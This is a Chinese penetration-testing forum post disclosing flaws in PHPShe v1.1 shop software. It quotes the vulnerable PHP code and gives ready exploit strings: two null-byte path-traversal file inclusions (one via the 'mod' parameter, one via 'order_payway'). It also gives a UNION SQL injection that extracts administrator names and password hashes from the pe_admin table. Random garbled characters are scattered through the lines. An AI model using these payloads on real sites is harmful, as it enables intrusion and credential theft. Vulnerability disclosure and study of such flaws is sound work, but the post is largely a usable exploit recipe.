中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

---

作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
& e( Z! Q  [9 r$ a! l, L) ]7 Q/ D/* Phpshe v1.1 Vulnerability
$ n  @0 Z, w2 Z" J  i% Y/* ========================
+ H' {" |7 \* A+ ^1 Z/* By: : Kn1f3
) h$ j% ~9 l3 @7 h" J/* E-Mail : 681796@qq.com
: l0 J- x& R! ]/*******************************************************/
0×00 整体大概参数传输

3 z& q/ Z5 ]* m& r& Q

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
" h# _. F. o: w/ Z, v0 \9 Ysession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
, N7 q" d* f" J: y/ P!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
; f, K- [0 X0 h) w9 G/ a. X
$ D7 V8 }: H9 R, R# e3 n
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. b& z- @( s( S; z2 R* Vpe_result();
7 ^2 R  O3 }; q/ w# N, w, N( c% u?>
$ {/ z% h- S! C8 d4 A2 ^//common 文件 第15行开始
6 t; w9 @( E  W- x; turl路由配置
$module = $mod = $act = 'index';
/ X- E. Q- G. c: z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
% z/ V2 p+ q1 x8 v8 m4 I$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
, v$ \* o- S, d9 m- n$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
# G4 ]3 l2 l* @7 Y& v" R9 f2 X% b//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
# l9 \. q8 l  e! `$ z

8 O' ]5 B8 z0 q7 B9 a$ Y! d 0×02 搜索注入

<code id="code2">

//product.php文件
0 x* Q0 f; a$ e% gcase 'list':
' u$ F% L- v7 o$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
$ K8 A( o5 J# Y1 s7 m//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
3 Y5 i  Z0 S/ I}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
1 v4 d$ |5 t3 W/ G+ w! C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
9 b/ Q- u' F6 q4 z) Yelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
/ ]. k" F7 {+ C9 Y* a8 L: D% k  x$product_hotlist = product_hotlist();
5 l+ O6 Y# k, o# Y8 j$ D/ J//当前路径
& d/ L3 E5 A" T: f, Y3 }1 b9 G$nowpath = category_path($category_id);
% Q" H. g, R+ G% |7 [1 \$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
( g3 ]$ \) Z5 f/ b, |+ n. |2 {//跟进selectall函数库
6 E  m# r# A/ Q3 W5 Q- W: Zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
$ O/ b0 J3 [3 G$ J//处理条件语句
0 r, J, k% B1 \  A0 W$sqlwhere = $this->_dowhere($where);
  [$ f+ `6 p2 u( a/ v, o( Nreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
% A% R; m6 X$ B0 z1 m}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
) f, m2 y" ~4 J
0 L8 L7 T% M% J, V) ~6 H) v# ?0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

4 L1 D3 D( B' o: M, @$order_id = pe_dbhold($_g_id);

( |. i+ ]& ?/ P5 x7 t  U4 Y0 z$cache_payway = cache::get('payway');

) b& B% N. o$ Eforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

! x/ U! H* E5 tif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 }8 ^5 L0 ]! E/ J" a7 @}

3 i! Q+ Q4 o: ]$ b4 h. k}

+ l6 P% M0 j  d9 ^$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

; D9 D$ N4 U2 r$ {' R% Vif (isset($_p_pesubmit)) {

# e1 p; O) F% U3 e( E1 h* Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 H  ]  j9 Q4 i+ o- K5 l- M" Eforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
8 Q. _; k; B% c2 s( v8 r" g

1 e# |( Q  K9 @2 A}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

, }- V# b2 a% S! x/ n7 @! b6 C9 Mpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2